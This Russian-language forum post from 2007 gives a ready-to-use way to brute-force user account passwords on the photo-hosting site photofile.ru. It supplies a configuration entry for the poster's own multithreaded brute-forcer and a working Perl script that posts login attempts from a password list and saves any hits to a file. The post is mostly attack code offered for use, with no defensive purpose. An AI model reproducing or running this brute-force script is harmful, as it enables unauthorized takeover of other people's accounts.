Показать сообщение отдельно

  #2  
Старый 07.03.2007, 00:52
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

найдите в разделе "про почту" мой брутфорсер dhomo.. добавьте в его базу строчку вида
['photofile.ru', 'return_url=%2Findex.php&login=zlogin&password=zpa ss', '/login/', 'http://photofile.ru/index.php', 300, 'Set-Cookie', 'photofile.ru']
нужный логин (или логины) пропишите в файле emails.txt как login@photofile.ru и сможете брутить в десяток потоков..

или заюзайте вот этот простенький скриптик:
Код:
#!/usr/bin/perl -w

use IO::Socket;

my $login = shift || die "enter login as argument\n";

open my $p, "<", 'passwords.txt' or die "Can\'t open passwords.txt\n";
while (<$p>) { chomp; 

my $sock = new IO::Socket::INET (PeerAddr => 'photofile.ru',
      PeerPort => 80, PeerProto => 'tcp', TimeOut => 20);

my $pdata="return_url=%2Findex.php&login=$login&password=$_";
my $len=length($pdata);
my $request="POST /login/ HTTP/1.1\n".
	"Host: photofile.ru\n".
	"User-Agent: Mozilla/5.0\n".
	"Keep-Alive: 300\n".
	"Connection: keep-alive\n".
	"Referer: http://photofile.ru/index.php\n".
	"Content-Type: application/x-www-form-urlencoded\n".
	"Content-Length: $len\n\n$pdata";

print $sock $request;
sysread ($sock, my $an, 300); if ($an=~m/forgot/==0) 
	{ open my $l, ">>", 'result.txt'; print $l "$login:$_"; 
	  print "\a$login:$_"; close $l; exit;}}
	  
close $p; print "nothing found..\n";

Последний раз редактировалось Digimortal; 07.03.2007 в 02:32..